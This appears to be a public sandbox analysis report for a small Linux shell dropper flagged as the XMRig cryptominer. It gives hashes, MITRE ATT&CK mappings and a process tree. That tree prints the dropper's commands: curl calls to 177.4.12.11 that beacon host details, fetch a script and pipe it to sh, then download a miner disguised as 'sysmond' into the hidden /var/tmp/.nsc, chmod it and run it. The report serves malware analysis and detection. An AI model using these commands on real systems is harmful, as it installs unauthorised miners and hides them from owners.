xmrig | 1b8ea6555bf4bcd8992365fa6177fdce1fe30950c9fa4f3ed26e23fadf8409fd

Analysis

max time kernel
8s
max time network
10s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/10/2026, 18:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
s
Size 402B
Sample261002-w3ddasff95
SHA256 1b8ea6555bf4bcd8992365fa6177fdce1fe30950c9fa4f3ed26e23fadf8409fd
MD5 870fea7e93e2183e85ff04ee3c918393
SHA1 a386c4b90cdd08f91296426f559c52449ac15431
SHA512 978785d1190dca7ec3c747e339f0a3aba5de421fae9e8be7cf1f86ce9b4a0c8dd210ce0ff6546916787f353695ee88892c62ce1d84ff5469fc279a6eccd1be8b
TLSH
T16FE0ABEE6070C0773B485004DB8A1B365882DAAA1CF00631CA96E92D51C80993FC7211
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm defense_evasion discovery xmrig miner

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xmrig
behavioral2/files/fstream-1.dat	xmrig

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
748	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/var/tmp/.nsc/sysmond	773	sh

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 7 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 2 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	sysctl
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/602/stat	ps
File opened for reading	/proc/602/cmdline	ps
File opened for reading	/proc/660/stat	ps
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/13/cmdline	ps
File opened for reading	/proc/17/cmdline	ps
File opened for reading	/proc/115/cmdline	ps
File opened for reading	/proc/317/stat	ps
File opened for reading	/proc/652/status	ps
File opened for reading	/proc/113/status	ps
File opened for reading	/proc/176/status	ps
File opened for reading	/proc/283/stat	ps
File opened for reading	/proc/708/stat	ps
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/651/status	ps
File opened for reading	/proc/705/status	ps
File opened for reading	/proc/20/cmdline	ps
File opened for reading	/proc/43/stat	ps
File opened for reading	/proc/642/cmdline	ps
File opened for reading	/proc/708/cmdline	ps
File opened for reading	/proc/20/stat	ps
File opened for reading	/proc/315/status	ps
File opened for reading	/proc/663/cmdline	ps
File opened for reading	/proc/705/stat	ps
File opened for reading	/proc/14/cmdline	ps
File opened for reading	/proc/599/status	ps
File opened for reading	/proc/645/cmdline	ps
File opened for reading	/proc/685/status	ps
File opened for reading	/proc/685/cmdline	ps
File opened for reading	/proc/5/status	ps
File opened for reading	/proc/7/cmdline	ps
File opened for reading	/proc/15/cmdline	ps
File opened for reading	/proc/286/cmdline	ps
File opened for reading	/proc/649/status	ps
File opened for reading	/proc/649/cmdline	ps
File opened for reading	/proc/663/stat	ps
File opened for reading	/proc/sys/kernel/osrelease	sysctl
File opened for reading	/proc/28/stat	ps
File opened for reading	/proc/315/stat	ps
File opened for reading	/proc/meminfo	ps
File opened for reading	/proc/143/status	ps
File opened for reading	/proc/286/status	ps
File opened for reading	/proc/uptime	ps
File opened for reading	/proc/115/stat	ps
File opened for reading	/proc/141/status	ps
File opened for reading	/proc/224/stat	ps
File opened for reading	/proc/339/stat	ps
File opened for reading	/proc/601/cmdline	ps
File opened for reading	/proc/685/stat	ps
File opened for reading	/proc/4/status	ps
File opened for reading	/proc/9/cmdline	ps
File opened for reading	/proc/20/status	ps
File opened for reading	/proc/43/cmdline	ps
File opened for reading	/proc/154/cmdline	ps
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	sysctl
File opened for reading	/proc/339/cmdline	ps
File opened for reading	/proc/640/stat	ps
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/42/status	ps
File opened for reading	/proc/641/status	ps
File opened for reading	/proc/705/cmdline	ps
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

/tmp/s
/tmp/s
1⤵
PID:652
- /usr/bin/tr
  tr -cd A-Za-z0-9._-
  2⤵
  PID:656
- /bin/hostname
  hostname
  2⤵
  PID:655
- /usr/bin/cut
  cut -c1-20
  2⤵
  PID:657
- /usr/bin/curl
  curl -sk -m 15 "http://177.4.12.11:8080/s?ev=boot&v=x&h=debian9-armhf-202605"
  2⤵
  - Checks CPU configuration
  PID:658
- /usr/bin/curl
  curl -sk -m 120 http://177.4.12.11:8080/nsp2.sh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:684
- /bin/sh
  sh
  2⤵
  - Executes dropped EXE
  PID:685
- - /bin/hostname
    hostname
    3⤵
    PID:686
- - /bin/uname
    uname -s
    3⤵
    PID:687
- - /bin/uname
    uname -m
    3⤵
    PID:688
- - /sbin/sysctl
    sysctl -n kern.osrelease
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:689
- - /usr/bin/id
    id -u
    3⤵
    - Reads runtime system information
    PID:690
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-2&v=env_Linux_armv7l_osrel=_uid=0"
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:691
- - /bin/mkdir
    mkdir -p /var/tmp/.nsc
    3⤵
    PID:700
- - /bin/mkdir
    mkdir -p /var/tmp/.nsc
    3⤵
    PID:702
- - /bin/mkdir
    mkdir -p /var/tmp/.nsc
    3⤵
    PID:704
- - /bin/grep
    grep -c "[s]ysmond"
    3⤵
    PID:708
- - /bin/ps
    ps -ax
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:707
- - /bin/rm
    rm -f sysmond
    3⤵
    PID:713
- - /usr/bin/curl
    curl -sk -m 300 -o sysmond http://177.4.12.11:8080/xmrig-fbsd11-raw
    3⤵
    - Checks CPU configuration
    PID:715
- - /usr/bin/tr
    tr -d " "
    3⤵
    PID:747
- - /usr/bin/wc
    wc -c
    3⤵
    PID:746
- - /bin/chmod
    chmod 755 sysmond
    3⤵
    - File and Directory Permissions Modification
    PID:748
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-2&v=dl_sz=3620152"
    3⤵
    - Checks CPU configuration
    PID:749
- - /bin/sed
    sed "s/[^a-zA-Z0-9._-]/_/g"
    3⤵
    PID:775
- - /bin/sed
    sed -n 1p
    3⤵
    PID:774
- - /var/tmp/.nsc/sysmond
    ./sysmond --version
    3⤵
    PID:773
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-2&v=ver=sh__38__._sysmond__Exec_format_error"
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:778
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-2&v=exe_fail_rc=0"
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:786

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sysmond

Path /var/tmp/.nsc/sysmond
Size 3.5MB
SHA256 9629553646ab51c36c18aa4cfbbb87a87fd9b87836b713089a3882082246b171
MD5 5eafa37cdf767f4a8f2c9801d57c45a1
SHA1 ee9f4f3cecd7d1949990cb46261bbabff20f142f
SHA512 86c557548aff44f07888852ef5c5ea7c31acffe538835490de43ecf426dd91ced71831bea336d55dc3a61e3a3f27ce460155ee420fabff7ab3aacc63afd70095
SSDEEP 49152:vNgMP3sOAFTzVv7bWRziCxCpn9ICnQtNK9zIhtc1+4nsG5RohMYb9F:ywCjbnCxCpPQtQIhtcc4n/oMYb9F
TLSH
T1AAF57C1AB261A47CD147C038579F55F2D6D8F0B5036A78FB1F87E6303A29CD25B28A36
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads